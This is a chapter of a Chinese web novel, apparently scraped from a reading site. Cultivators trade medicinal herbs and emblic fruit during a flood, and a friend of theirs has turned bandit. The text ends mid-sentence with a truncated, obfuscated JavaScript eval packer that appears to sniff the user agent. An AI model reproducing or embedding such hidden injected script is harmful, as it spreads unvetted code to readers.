他道:“是有这么回事,你们最近怎么样?” 那人十分高兴,道:“你们可帮了大忙了,师父让我们过去开片地试试当地的灵力。我跟师弟忙活了好几年,心血差点毁于一旦。幸亏你们把赤藤妖的内丹收回来了,我已经炼化成了金丹,交上报告了,不然又要从头再来一遍。” 他有些心有余悸,说着擦了把汗。段星河微微一笑,道:“应该的,不必放在心上。” 那人道:“我叫刘雨泽,是这边的主事,你们来做什么的?” 段星河道:“我想买点板蓝根和连翘,能便宜点么?” 刘雨泽扭头道:“给他们多少钱?” 小药童有点委屈,道:“都是二钱银子一斤,他们还嫌贵。” 刘雨泽喔了一声,搓了搓手道:“是这样的,最近夷州发大水,各地的药材价格都涨了。药铺里板蓝根已经卖到三钱银子一斤了,品质还没我们这儿的好。这样吧,我都给你算一钱五分一斤,你觉得怎么样?” 众人顿时振奋起来,果然有熟人就是好办事。段星河也露出了笑容,道:“多谢刘兄了,我各要五百斤。” 刘雨泽痛快道:“小事,以后有需要还可以来找我们。走,我带你们去打包。” 生意谈成了,那两个小童也不提赔钱的事了。一行人去了半山腰的分堂,刘雨泽让人给他们上了茶,一边叫人去取了板蓝根和连翘过来,装在麻袋里,在庭院里堆成了小山。 刘雨泽道:“你们要怎么搬?” 段星河道:“瓜皮,给我辆车。” 墨墨背过身去,张开嘴找了片刻,呼啦一下子吐出了一辆大车。赵大海拿了块布,把大车擦了一遍,抹去了它的口水,道:“放车上吧。” 其他人看的目瞪口呆,没想到这小黑猪有这么大的本事。一群人把麻袋放在了车上,段星河盖上雨布,用绳子捆好了。墨墨蹲在草丛里,显得蔫蔫的,嘴角流出了一点带血的唾液。步云邪低头看它,道:“怎么了?” 他仔细观察了一下,发现墨墨的嘴里磨破了。他心疼地皱起了眉头,这段时间让它搬运了太多东西,频繁吞吐货物,把孩子累着了。 刘雨泽注意到了,拿出一点白药,送给他们道:“给它涂在伤口上,几天就好了。” 伏顺一心惦记着挣钱的事,道:“它还能搬东西么?” 步云邪有点恼火了,抱着他的崽子道:“你有手有脚的,怎么不自己搬?” 伏顺搔了搔头道:“哎呀,我就是随便问问,二师兄你别生气。” 段星河觉得有点对不起墨墨,示意伏顺别触霉头,道:“就一辆大车,咱们自己赶着吧。” 他付了一百五十两,翻身上了马。刘雨泽挥了挥手,笑呵呵地道:“有空再来。” 段星河拱手道:“多谢。” 伏顺和赵大海各赶着一辆大车,其他人护着车离开了百草门分堂。 一行人驾着车往北而行,穿过了边境,来到了夷州。路上晒得很,蝉嘶声鸣叫,让人心浮气躁的。众人停下来休息了片刻,坐在树荫里吃了点干粮。宋胡缨原本坐在一块大石头上喝水,忽然握住了斩马/刀,回头望去。 树林子里静悄悄的,什么也没有。李玉真道:“怎么了?” 宋胡缨道:“好像有人。” 李玉真到处张望了一圈,什么也没发现,道:“可能是动物。” 宋胡缨沉默着放下了刀,神色还是有些警惕。前头有一座大山,边境的人说叫莽山,听说最近有土匪出没。前几次他们从这里经过,轻车简行,没引起人注意。这回带着货,还是小心一点为好。 步云邪过去看墨墨,道:“今天怎么样了?” 墨墨在赵大海的兜帽里睡觉,小耳朵动了动。步云邪把它抱出来,看了看它的嘴,发现伤口已经愈合了,就是精神还不太好。小对眼从宋胡缨的膝盖上跳下来,蹲在他们跟前呜呜地叫,似乎想跟墨墨玩耍。 墨墨抬起鼻子跟它打了个招呼,依旧趴着没动。段星河过来看了它一会儿,心虚道:“没事吧。” 步云邪抬头道:“累坏了,你们最近是不是太过分了?” 段星河有点惭愧,从口袋里掏出一把牛肉干来讨好他的崽子。墨墨有点怕嘴疼,吃相都比从前文雅了许多。段星河道:“对不起,以后一定让你好好休息。” 墨墨蹭了蹭他的手心,一双黑豆眼清澈无邪,丝毫没有记仇的意思。段星河觉得更过意不去了,道:“等忙完了这阵子给你买好吃的,你喜欢无花果干是不是?” 墨墨耳朵抖了抖,有了点积极的反应。段星河摸了摸它脑袋,道:“给你买一堆,让你和小对眼吃个够。” 一斤无花果干才多少钱,它出的力可比这个大多了。步云邪觉得亏了,道:“就这,你别欺负人家孩子傻啊。” 段星河想了想,道:“等回了逍遥观,我种几棵苹果树,让它有吃不完的苹果,怎么样?” 步云邪低头看墨墨,道:“你说呢?” 墨墨窝成了一团,好像都无所谓,只要能跟他们在一起就很开心了。 众人吃着饭,忽听前方山林里传来一声尖锐的呼哨,一群大汉乌乌泱泱地冲下山来。三四十个人呼啦一下子把他们包围起来,激动地打量着他们的大车,见上头鼓鼓囊囊的。一人道:“大哥,车上有好货啊!” 另一人道:“大哥,我之前看到的就是他们!” 众人警惕起来,从这里路过好几次,到底还是遇上了山贼。大家拔出了兵刃,护着大车。段星河道:“阁下这是什么意思?” 对面带头的人身材高大,戴着个帷帽,脸周围垂着一层黑纱。他从人群中走出来,懒洋洋地说:“我小弟说你们半个月里来来回回好几趟,怎么从我们地头经过,不交买路钱啊?” 果然东西一露白就招麻烦,段星河皱起了眉头,道:“这地儿是你的,谁说的?” 一个小弟粗声道:“我们大哥说是他的就是他的,不服啊!” 那个戴帷帽的人盯着他们看了一眼,忽然意识到了什么,失声道:“咦,怎么是你?” 那小弟愣愣的还想叫嚣,他们老大一把按住他脑袋,把他扒拉到后头去了。段星河觉得这人声音有点熟悉,正有些疑惑。那人已经摘掉了头上的帷帽,兴奋道:“兄弟,是我啊!” 那人露出脸来,皮肤黝黑,浓眉大眼的,却是于百川。众人都十分诧异,没想到会在这里遇见他。段星河道:“不是……几个月不见,你怎么当上土匪了?” 于百川哈哈大笑,过来跟段星河拥抱了一下,道:“这可是大水冲了龙王庙。没办法,兄弟们太缺钱了,我们也不打算伤人性命的。” 半年前他还背着同门的骨灰到处跑,这回再见面,他居然干起了拦路打劫的勾当。段星河道:“越混越差了,你不是说要重振纵横派么?” 于百川不以为然道:“怎么差了,我这不是招到小弟了吗。我看这个山头不错,打算在这里住一段时间,有路过的客商就收一点小钱,保护他们走一段路。” 过路的商人看到他们,恐怕都要吓坏了。段星河觉得他也太会给自己找补了,道:“你这是不是强行保护?” 于百川嘿嘿一笑,道:“夷州有很多邪修的,杀人越货的事太多了。我们算是保镖,跟土匪可不一样。” 他说着回头一摆手,豪气道:“这就是你们二哥,问好。” 一群喽啰齐刷刷地道:“二哥好!” 于百川道:“听不见,大声点!” 小弟们嘶声吼道:“二哥好——!!!” 声音震耳欲聋,一群鸟雀从树林里飞了起来,小对眼吓得缩进了宋胡缨的兜帽里。 段星河:“……” 其他人也陷入了沉默,于百川得意道:“我这些小弟怎么样?” 段星河道:“很好,很有精神。” 于百川十分满意,扬声道:“他叫段星河,就是我跟你们说过的那个修为高强,在钦天监供职的好兄弟。有他罩着,你们走到哪里都不用怕。” 他说起段星河的事来十分自豪。其他小弟望着对面的一行人,露出了惶恐且崇拜的神色,可见于百川背地里没少跟他们吹嘘这个兄弟。 他以前就说过,段星河捐了钱,以后就是鬼谷宗纵横派的人了。于百川的小弟就是他的小弟,没想到还真不是画饼。段星河感觉钱花的总算有了点价值,道:“不用客气,都是于兄抬爱。” 于百川道:“别这么谦虚,这不是又做大生意了吗。” 他回头盯着鼓鼓囊囊的大车,道:“上头装的是什么?” 段星河随口道:“板蓝根和连翘,夷州不是闹瘟疫了吗。” 于百川还以为是什么大买卖,失望道:“嗐,这玩意儿能挣几个钱,还不够来回折腾的呢。” 他一向爱投机,小钱看不上,大钱挣不到,要不然也不至于沦落到这里劫道。段星河还得养家糊口,没工夫跟他在这里挑三拣四的,敷衍道:“就挣个路费,也没指望发大财。” 于百川雁过也得拔几根毛,道:“这地方太危险了,我给你护送过去,一口价一百两银子。” 段星河一口回绝道:“不用了,不需要。” 他的队伍里人人都会道法,有的能抗有的能打,还有人增益治疗,根本不需要外人来强行保护。于百川觉得自己是有点多余,但又不想错过挣钱的机会。他眼睛动了动,抬手搂住了段星河的肩膀,道:“好兄弟,别这么无情嘛,咱们商量商量。” 他拉着段星河到路边坐下,神神秘秘地说:“这样吧,我卖给你一个消息,包你赚一票大的。” 段星河跑商能这么顺利,也是亏了有不少人指点他。最近粮食的风口过去了,他正想找个新方向,觉得听听也无妨,道:“什么消息。” 于百川心里的算盘打得噼啪响,道:“消息卖你五十两银子,赚了钱我要分三成。” 段星河怀疑地看着他,于百川笑呵呵地道:“好兄弟,咱俩什么关系,我能骗你吗?” 段星河寻思着他就没少骗过人,什么纵横派的大澡堂子、拿石灰顶替骨灰之类的,只有他想不到,没有他干不出来的事。于百川一脸认真道:“我拿纵横派的前途发誓,这个消息绝对赚钱。只要咱们合作,马上能咸鱼翻身!” 他这么信誓旦旦的,好像真的知道什么大消息。段星河有点心动,掏出一锭十两的小元宝道:“你说吧。” 于百川道:“五十两不还价。” 段星河作势要把银子收回去,道:“不说算了。” 于百川只好道:“啊好好好,十两就十两吧。” 他的声音低了下去,道:“夷州发了大水,这边阴气大盛,不少修士体内阴阳失调,寻常人也有不少犯风湿病的,需要大量祛除风冷的药。你要是能拿到货,肯定能大赚一笔。” 段星河道:“你自己琢磨的?” 于百川一拍大腿道:“我亲眼见的。也就是十来天前吧,有个道士倒在路边,大夏天的,头发睫毛上都结了一层霜。我的小弟巡山遇上了,觉得奇怪,便把他扛上了山。我喂了那人一碗姜汤,又拿艾叶烧水给他擦了身体,救了他的命。他很感激我,跟我说这边的修士练的都是阴寒的功法,一遇上天灾不少人都被寒气吞噬,十分难受。他想去大幽买庵摩罗果,带回去救治同门。” 段星河头上冒出了问号,道:“庵摩罗果是什么?” 步云邪站在旁边,想了一下道:“佛祖座前的阿耨楼陀有天眼神通,观三千大千世界,如观掌中庵摩罗果。又叫余甘子,据说挺好吃的。” 听起来好像挺玄的,段星河喔了一声,道:“于兄,这么好的机会,你怎么不把握住?” 于百川搔了搔头,道:“那不是……没本钱嘛,家里人太多,光吃饭还揭不开锅呢。反正你们赶紧去进货,有多少收购多少,保准能赚钱!” 段星河还挺慎重,道:“别人的嗅觉不比咱们灵敏么,都是几十年的老商人了,争不过他们怎么办?” 于百川嘿嘿一笑,已经想到这一点了。他道:“这时候就得用霸道一点的手段了,我给你的利辨经里怎么说的,成大事者不拘小节。我帮你们守住旱路,不让别的商人过去。等你把货出手了,我再放他们走人,这不就行了。” 其他人听见了,都有点惊讶。于百川的眼中透出一丝狠意,道:“咱们一穷二白,起家都难干净,不如把脑 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段星河等人在花厅里坐着,看着一群仆役把车上的药材卸了下来。太守给了他二百两银票,段星河收在了腰包里,救命的事就不图赚钱了,心安就够了。 从前经历天灾的时候他年纪还小,什么也做不到,只能听天由命。如今他有能力救人于水火中,做这一点小事,也弥补了心里的遗憾。记忆中的那个孩子在流民中远远地望着自己,脏兮兮的小脸上露出了释然的笑容,仿佛也觉得长大的自己做得很好。 他长舒了一口气,起身要告辞。太守道:“小道长,你等一等,我有样东西给你。” 段星河有些疑惑,张太守笑呵呵地道:“前阵子大王表彰我治灾有功,我便把你的事上报了。大王很高兴,赏了一块牌子,让我交给你。” 他让人取了个锦盒过来,段星河打开一看,见是一块巴掌大的铜牌子,正面刻着三等功勋,背面刻着他的名字,下面还有夷州王的红刻印。段星河感觉这就是个荣誉市民的奖牌,不如发钱实惠。 伏顺凑过来,伸手摸了摸,道:“这东西有什么用么?” 太守道:“可以在都城落户,买房不用排队,孩子能免费跟其他王公子弟一起上太学。” 这地方到处都是莽莽丛林,气候湿热,民风彪悍,不怎么适合落户。段星河看了一眼墨墨,它正窝在赵大海的兜帽里呼呼大睡,也没什么念书识字的需求。他道:“不了,我儿子……不爱读书。” 赵大海提了个大家最关心的问题:“能免费住驿馆吗?” 太守遗憾地说:“这个不包。” 其他人看那块牌子顿时没有那么稀罕了。段星河礼貌地收了起来,道:“替我多谢大王。” 一行人离开了夷州,这次目的明确,直奔百草门分堂的种植园。众人来到山门前,上次那两个小童正在扫台阶。段星河道:“小仙童,你家主事呢?” 小道童搂着笤帚道:“板蓝根卖完啦,最近乌乌泱泱的好多人来买药,幸亏你们来得早。” 他预料的不错,不少人嗅到商机就一拥而上,进的早的赚的盆满钵满,进的晚的就砸在手里了。他笑了一下,道:“我们不买板蓝根了,有庵摩罗果吗?” 小童有点奇怪,道:“有倒是有,我们种来自己炼药的,你要这个干什么?” 段星河不想说太多,道:“我们也炼药用。” 小童喔了一声,道:“那你跟我来吧,我问问主事师兄。” 众人跟着他进了半山腰的屋舍,在厅里坐了片刻,刘雨泽来了。他一见段星河便笑了,道:“板蓝根赚了么?” 段星河道:“还行,多谢刘兄帮忙。” 刘雨泽撩衣坐下了,道:“不客气,今天来是要余甘子?” 段星河道:“对,这边有多少?” 刘雨泽道:“没有干果了,我可以带你们去摘鲜的,后山种了几十棵余甘子树。市价三两银子一斤,咱们是朋友,一斤给你按二两银子算,要么?” 这个价格对于灵植来说已经很便宜了,段星河道:“好。” 刘雨泽给他们每人发了个斗笠遮阳,叫上了几个师兄弟背着竹筐去了后山。众人扒开密密麻麻的大叶植物,来到了树林深处。金灿灿的阳光投下来,把叶子照的油亮,充满了生机。有几棵树长得跟其他树不同,叶子一串串的,像羽毛似的对称长着。那树长得颇为高大,树枝上生着许多绿色的小果子,形状圆圆的,有半个拳头那么大。 刘雨泽仰头道:“就是这个啦。” 他拿起竹竿打了几下,果子噼里啪啦地掉在了草地上。刘雨泽捡起几个分给他们,道:“尝尝吧。” 赵大海在衣襟上擦了擦,咬了一口,登时酸的脸都皱了起来,道:“哎呦!” 伏顺还没吃,道:“怎么了,它在嘴里打你了?” 赵大海呸呸地吐了出来,道:“这玩意儿怎么这么酸!” 刘雨泽成功地坑到了人,哈哈笑道:“刚摘下来是酸的,放几天就会变甜了,所以叫余甘子啊。” 段星河嗅了一下,闻起来还是挺香的,树上现摘的有些青涩,运过去刚刚好。他把果子放进了竹筐里,道:“开始吧。” 刘雨泽便撸起了袖子,和其他人一起用竹竿打果子。竹竿上绑着镰刀,打不动的可以用刀勾下来。伏顺觉得有趣,猴子似的爬到了树上,帮着他们摘果子。墨墨歪着头观察了一会儿,飞了上去,学着他们的模样把果子拨弄下来,扔到了草地上。 段星河道:“瓜皮,你下来吧,不用这么能干。” 伏顺把一棵树的果子摘完了,抱着树干滑了下去。墨墨跟着他飞了下来,和小对眼蹲在路边,看人们来来去去地忙活。 一群人摘了半天,刘雨泽带人把果子装在筐里,运回了前头庭院里。段星河在旁边等了一阵子,刘雨泽称完了重,爽快道:“一共一千零一十二斤,给你抹个零,两千零二十两吧。” 段星河还价道:“两千两就行了,还零二十干什么。” 刘雨泽一手叉腰,道:“过分了啊。” 段星河笑道:“都是朋友嘛,便宜点。” 刘雨泽晒了一下午大太阳,没精力跟他扯皮,摆了摆手答应了。段星河付了钱,用油布盖住了竹筐,装在了大车上。 好不容易挣了这么多钱,一下子花出去了大半,段星河按着瘪下去的腰包,心里也有些不踏实。于百川本来就是做情报生意的,给的消息算是可靠。段星河之前在城里转了一圈,发现是有他说的这个苗头。反正活着干什么都是赌,不试点狠的永远发不了大财。 伏顺载着一车果子,缓缓驶出了百草门,道:“这回不成功就返贫了。” 李玉真趴在车窗上道:“别乌鸦嘴,你就不能想点赚钱以后的好事?” 伏顺寻思着道:“那我想住最好的客栈,吃最贵的东西,有赌局最好再痛快玩它几手!” 李玉真撇嘴道:“有钱就赌,就你这还说段兄不靠谱呢?” 伏顺嘿嘿一笑,道:“小赌怡情嘛,跑了这么久的商,放松一把不过分吧。” 次日过了午,段星河等人离开了大幽,前头不远处有人驾着几辆大车赶路。步云邪骑着马跟段星河走在一起,道:“最近来这边做生意的人挺多啊。” 段星河淡淡道:“闻见钱味儿了呗。” 步云邪道:“你说他们卖什么的?” 地上的车辙印挺深的,段星河道:“说不好,希望跟咱们没冲突。” 一行人来到莽山脚下,远远地就见一群人从林子里钻出来,把前头的那些商人围起来了。赵大海放慢了赶车的速度,想看看于百川是怎么办事的。就见于百川头上戴着帷帽,缓步走到带头的商人跟前,道:“车上装的什么?” 商人们没想到遇见劫道的了,十分害怕,连声道:“大哥饶命,我们懂规矩,我给你过路钱!” 于百川原来劫道都劫不着钱,最近一个个的倒是主动给过路费了。他道:“我要你钱干什么,我问你车上装的是什么东西。” 那商人道:“一点水果,不值几个钱。” 于百川一听是水果,顿时警惕起来。他道:“过去看看。” 他手下的小弟拿刀割开雨布,就见里头堆满了绿色的小果子。于百川的眼都瞪大了,他守在这里就是怕有人抢他们的买卖,还真让他逮到了。于百川嘿嘿一笑,道:“小老弟,我看你们很顺眼,走,上山跟我喝两杯去。” 商人哪里敢跟这一群土匪上山,吓得腿都软了,连声道:“我不去。山大王,我上有老下有小,您就饶了我吧!” 于百川道:“别怕,我说不害你性命,就不害你性命。兄弟们,咱们的宗旨是什么,告诉他。” 小弟们站直了,齐声吼道:“天下太平——!!!” 一群商人傻了眼,不知道这些山贼脑子有毛病还是自己听错了。于百川一抬下巴,几个喽啰上前架起了那些商人,把他们往山上带去。 一群人拼命挣扎,放声大喊救命,荒山野岭的根本没人理会他们。转眼间,段星河等人的车队已经来到了莽山跟前。一名商人看见了他们,扭头道:“喂,你怎么不抓他们,那边还有人呢!” 43.跑商 三 商人指着大路上的段星河等人,声嘶力竭道:“抓他们,他们一看就有钱,放了我们成不成?” 段星河不知道自己怎么就惹到他们了,还要被一起拖下水,心里有点不爽。 于百川打了个呵欠,惫懒道:“做人要专一,我就相中你们了,跟我走吧。” 他说着转过头,跟段星河打了个照面。两人面无表情地对视了一眼,假装不认识对方,各走各的路。那群商人气得要死,却又逃不了,被于百川硬生生地抓到了山寨里关了起来。 段星河等人进了城,到处都弥漫着艾叶的味道。路边散落着些纸钱,到处可见披麻戴孝的人。官兵在挨家挨户地送药,是郎中配伍好的,让百姓煎服了,有病治病、没病预防,药方子也贴在了城里的公告板上,这里的太守算是十分尽职了。 步云邪的神色严峻起来,道:“把脸蒙住吧,这病呼吸就能传染。” 众人用白布蒙上了脸,步云邪看着路边不住咳嗽的小孩儿和老人,叹了口气。段星河道:“想开点,咱们的药能救很多人,会好起来的。” 一行人来到药铺跟前,老板接了官府的委托,正在和几个学徒包药,忙的不得了。段星河进去了,道:“掌柜的,你这儿收药材吗?” 掌柜忙着干活,眼也不抬道:“什么药,板蓝根的价格又下来了,最近收购价一两五钱银子一斤喽。” 伏顺等人互相看了一眼,这些东西确实一天一个价。官府一开始免费赠药了,那些投机商人的货就砸在手里了。 段星河道:“我手里有一批庵摩罗果,你们需要么?” 掌柜的本来心不在焉的,听他这么说,登时睁大了眼。现在卖这个的可是懂行的,嗅觉比一般人灵敏多了。他也不包药了,起身道:“你有庵摩罗果,在哪儿呢?” 段星河一指门外,一辆大车停在药铺前。掌柜的过去掀开雨布一看,见里头整齐地摆着好多大竹筐,盛着满满的庵摩罗果,一颗颗新鲜碧绿,散发着独特的香气。 这段时间经常有人来铺子里问有没有庵摩罗果,愿意出高价购买。掌柜的一开始不知道是什么东西,后来一打听才知道就是余甘子。来问的大多是各个宗门里修炼的人,因为发大水犯了阴寒之症,需要这种果实来治病。掌柜的倒是想去进一批,但苦于不知道哪里有货,而且听说最近边境有山贼出没,他不敢拿性命冒险,只能眼睁睁地错过这个挣钱的机会。 如今有财星送货上门,掌柜的激动的不行,连忙拉着段星河的手,道:“来来来,小兄弟,咱们好好谈一谈!” 众人进了药铺,掌柜的道:“你想多少钱卖?” 段星河来的路上已经打听过了市价,这不是寻常百姓的必需品,跟这些人也没必要做善事。他面无表情地道:“八两一斤。” 掌柜的心里咯噔一下子,寻思这样就没得赚了,赔笑道:“能不能便宜点,我全收了。” 段星河道:“你说多少钱?” 掌柜的拦腰砍了一半,道:“四两一斤。” 伏顺顿时不乐意了,嚷道:“你抢呢,我们大老远运过来,冒多大危险。进城又交了两个点的税,过境的时候差点就让山贼抓走了,光操心费力也不止这个钱了!” 掌柜的连忙道:“啊好好好,五两,不,六两一斤。” 段星河神色淡淡的,站起来道:“那我再去别家看看吧。” 掌柜的怕他这一走就不回来了,这么好的机会不能让同行抢走。他像割肉似的道:“七两银子一斤,再高我也没得赚了。” 段星河看了一眼步云邪,他点了点头。段星河也觉得可以,道:“行吧,我帮你卸货。” 掌柜的道:“不用,我们这儿人多。” 他招呼了一声,五六个伙计过来,去门外把竹筐都搬了下来。片刻称完了重,一千零几斤,他付给段星河七千两银票。双方交易愉快,老板高兴地跟他握了手,道:“小兄弟,以后再有货欢迎来找我。” 做生意毕竟有风险,段星河赚完这一票就打算收手了,道:“再说吧。” 出了药店,大家都掩盖不住兴奋的心情,觉得一下子就变成有钱人了。伏顺道:“哥,赚钱了,不得吃点好的?” 段星河一直绷着的弦也松了下来,露出笑容道:“走,咱们选家店,吃最好的去!” 众人欢呼起来,在城里找了间高升客栈,在大堂坐下了。片刻店家端上了饭菜,有烧鹅、烤鸭、松鼠鳜鱼、炒螃蟹,一人一盅金汤佛跳墙,还有些时鲜的蔬菜。桌子上摆满了盘盏,香气扑鼻,勾的人直咽口水。 段星河道:“这段时间大家都辛苦了,好好吃一顿。明天自由活动,想买点什么就买什么,放松一下。” 伏顺左手拿着根鸡腿,右手舀起一根海参,三两口吞了下去。他还没吃过这么鲜美的东西,高兴道:“多谢大师兄,这顿是你请的么?” 段星河扬起嘴角道:“你想什么呢,当然是按人头平摊的。” 伏顺顿时心疼起来,恨不能把嘴里的海参吐回去。赵大海道:“哎呀,一顿饭而已,大家在一起图个开心嘛。” 李玉真一向十分捧场,举杯道:“来吧,大家走一个,吃好喝好。” 兄弟们干了杯,埋头开吃。他们这段时间忙着跑商,天天在路边啃干饼,也该好好犒赏自己一回了。良久大家吃完了饭,撑得直倒气。客栈里的灯火点起来了,步云邪道:“走吧,上楼喝点茶,歇一会儿。” 一群人回了客房,聚在段星河的屋里。下午他就跟步云邪商量好了,吃完饭就把这段时间挣的钱给大家分一分。段星河坐在罗汉床上,拿着从大堂借来的算盘,噼里啪啦地算账:“前阵子咱们倒腾粮食,去掉本钱净挣两千五百两。板蓝根和连翘净挣五十两。庵摩罗果去掉本钱,再去掉答应给于百川的三成,净挣三千五百两。这些加在一起是——” 他拨了几下算盘珠,道:“六千零五十两。” 伏顺眼都睁圆了,他一直浑浑噩噩的,光跟着车队来回跑,没想到就挣了这么多钱,果然还是跟对了大哥有前途。他十分兴奋,道:“咱们还继续么?” 段星河下午在街上逛了一圈,看清了情况,夷州王已经把粮食运过来了,其他的东西也不缺了。后来的商人蜂拥而至,进价高出手难,再继续就有风险了。他道:“赚点路费就得了,该收手时就收手。” 伏顺知道自己见识短浅,进场时犹豫不决,该离场时恋恋不舍。可一旦尝到了甜头,让他收手还真舍不得。李玉真道:“当初说怕赔钱,不愿做生意的是不是你?” 伏顺立刻道:“我哪有,我就是弃权了嘛。我听大师兄的话,他让撤就撤,我没意见了。” 段星河道:“这些钱平分,每人一千两。宋姑娘和李兄拿这个数,咱们剩下四个人都是逍遥观的,深受师父师娘的养育之恩,我提个议,每人出二百两作为公共开销,等回去了修一修房子,给师弟妹们买点好吃的,再留一部分钱给师娘生活用。你们觉得怎么样?” 众人互相看了一眼,想起了师父为了保护他们牺牲的情形,觉得自己欠他良多。师娘独自养育那么多孩子,也很辛苦。自己既然赚了钱,也该让大家过好日子了。 赵大海道:“我同意!” 步云邪道:“我没意见。” 众人看着伏顺,等他表态。伏顺寻思着三票对一票,自己反对也没用,只好道:“我……我也愿意。” 段星河道:“你要实在舍不得,就少出点。” 伏顺虽然抠门,也是有良心的,道:“不用,师娘养活我这么多年,我还没报答过她呢。” 李玉真想着大家天天生活在一起,他们的事就是自己的事,道:“段兄,这一路承蒙你照顾,我给你一百两,就当是生活费好了。” 宋胡缨也道:“我们吃喝住宿要花不少钱,我也出这个数。” 段星河没想到兄弟们这么大方,但不想拿他们的钱,道:“你们就不必了。” 李玉真把脸一扳,道:“你把我们当成外人了是不是?大家都这么熟了,分什么彼此!” 段星河十分感动,道:“好,那就多谢了。” 他把银票发给每个人,伏顺高兴的不得了,贴在脸上蹭了蹭,狠狠地亲了一口。赵大海仔仔细细地收在了腰包的夹层里,誓死要保护自己挣的这些辛苦钱,打算回去给老娘买几身新衣裳。 李玉真看着银票,想起了以前父亲训斥自己的情形。他一不服气,父亲就说你吃我的、喝我的,还不听话。如今他攥着自己挣的钱,生出了强烈的踏实感。他长舒了一口气,道:“段兄,能认识你真好。” 段星河微微一笑,道:“认识你们我也很开心。” 宋胡缨摸了摸小对眼,道:“有钱了,宝贝,我给你打个金牌子去。” 小对眼嗷地叫了一声,它羡慕墨墨的项圈已经很久了,觉得亮闪闪的,经常伸着爪子拨弄它脖子下面的金牌。 众人各自散了,次日一早,大家出门逛街,置办自己需要的东西。 宋胡缨去了金饰铺子,让人给她儿子打个金牌。金匠看着兜帽里冒出的毛茸茸的猫头,道:“这小家伙真有意思,牌子上打什么?” 宋胡缨面无表情道:“小对眼。” 金匠噗地一声笑了,道:“那还用挂名牌么,一看不就看出来了。” 宋胡缨不怎么会跟人交涉,坚持道:“就叫小对眼,你打不打。” 李玉真有点想笑,但是没敢。这姑娘面若桃李,却冷若冰霜。她穿着淡红色的纱衣,胳膊上都是肌肉,一看就不好惹。金匠道:“那行吧……工费二钱银子,金子用这儿的么?” 李玉真连忙道:“用我的,我有金瓜子。” 他从荷包里掏出了一把金瓜子,宋胡缨道:“我自己有钱。” 李玉真道:“让我给孩子买点东西嘛,瓜皮的金牌都是我出的金子。” 宋胡缨不喜欢欠人情,还是给了他五两银子。金匠把黄金烧化了,融了些别的金属进去,敲敲打打,片刻做成了一个牌子。金匠免费送了他们一根牛皮带子,把金牌给小对眼挂在了脖子上。宋胡缨往后退了几步,端详了她儿子片刻,感觉戴上项圈果然不一样了。 李玉真道:“变贵了。” 宋胡缨微微一笑,十分满意,道:“不错,回去吧。” 伏顺和赵大海出去玩了,段星河拿着小雨的画像出去问了一圈,没人见过她。段星河已经习惯了,买了十斤无花果干回了客栈。客栈后面有个供客人休息的庭院,此时没人待,段星河抱着墨墨坐在一张竹躺椅上,手里攥着一把果干,悠闲地喂他的崽子。 步云邪在二楼看见了他,下来在旁边的一张竹椅上坐下了,缓缓地摇了几下,很是惬意。 段星河道:“感觉怎么样?” 步云邪翘起了腿,道:“好像成了老头子。” 段星河笑了,道:“明天去找于百川吧,他等咱们很久了。” “行,”步云邪道,“明天去莽山一趟,其他人在这等着就行了。” 他们没再说话,吹着夏日的清风,有种放松的感觉。 太阳已经不晒了,知了还在长声嘶鸣。昨天夜里刮了半宿大风,此时院子里有不少被刮断的树枝。墨墨吃了几个无花果干,抖了抖耳朵,从他的膝盖上跳了下去。 墨墨来到一棵梧桐树旁边,抬头望着树上,不知道在看什么。段星河闭着眼,有点想打瞌睡了,忽听步云邪道:“咦,那是什么?” 摇椅咯吱一声响,步云邪站起来,走到那棵大树跟前。一根低矮的树杈上有个奇怪的木桩子,看起来有点突兀,是灰白色的,方才墨墨就盯着这个东西发呆。 段星河也走了过来,仔细看了片刻,却见是一只鸟。它站着不动的时候就像一根树桩。一双眼睛只有眼黑露出来,看不到眼白。最夸张的是这家伙的嘴特别大,张开来就像青蛙一样。 这家伙长得既苍老又奶气,吓人里又透着一点可爱,也不知道造物主是怎么想的,能把差异这么大的几种特质融合在一个物种身上。平常见着了肯定会被它吓一跳,但出现在这个什么都可能发生的世界里,也挺合理的。 两人都没见过这种怪东西,起了一身鸡皮疙瘩。段星河道:“这玩意儿不咬人吧?” 步云邪觉得有点好笑,道:“不好说,嘴这么大,都能吃小孩儿了。” 墨墨飞了起来,歪着头看它。那家伙张开大嘴,发出了青蛙一样的叫声,唧唧唧哇! 它想吓退他们,声音十分聒噪,除了大叫之外它也没什么保护自己的本事了。段星河道:“还是个烟嗓。” 它身上还有白色的绒毛没褪干净,显然是个幼崽。此刻它被三双眼睛盯着,紧张的不行。步云邪道:“小宝,你妈妈呢?” 那小怪物自然不会回答,段星河在附近转了一圈,招手道:“过来看。” 不远处的地上,一堆树枝下面压着一具跟这小怪物差不多的尸体。看这情形,鸟妈是夜里被狂风吹断的树枝砸死了。这小崽子运气好,自己活了下来。步云邪看它的眼神变得同情起来,道:“你一个人能活吗,会找东西吃么?” 小怪物没反应,看起来呆呆的。段星河觉得它有点无趣,说:“它只会罚站,傻乎乎的。” 小怪物似乎有些不满,黑色的瞳孔骤然收缩起来,滴溜溜地在眼里乱转。墨墨被它的瞳孔地震吓坏了,躲到了段星河身后。步云邪也有点瘆得慌,这玩意儿丑萌丑萌的,一般人欣赏不来,但猎奇的人应该挺喜欢的。 他的心思一动,道:“你愿意跟我们走吗,我帮你找个主人。” 他伸出了手臂,耐心地等着它。步云邪虽然性情有点高冷,但人长得漂亮,对小动物格外有亲和力。他往路边一站,都常有野猫过来蹭他的腿。 小怪物盯着他看了良久,忽然挪了挪爪子,扑腾到了他肩膀上。这家伙长得实在太奇怪了,步云邪扛着它,身体有些僵硬。段星河扬起了嘴角,道:“感动么?” 步云邪发自内心道:“不敢动。” 段星河哈哈地笑了,道:“咱们没空养它,马上又要赶路了。” 步云邪想了想,道:“你说钱家的小少爷会不会喜欢这家伙?” 段星河想起之前钱远志说过,若是路上遇见了有趣的灵兽,记得捎一只给他。他寻思了片刻,觉得那小少爷胆子挺大的,说不定会喜欢这种奇特的小动物。 他道:“要不给他寄过去吧,我看城里有驿馆。” 步云邪道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 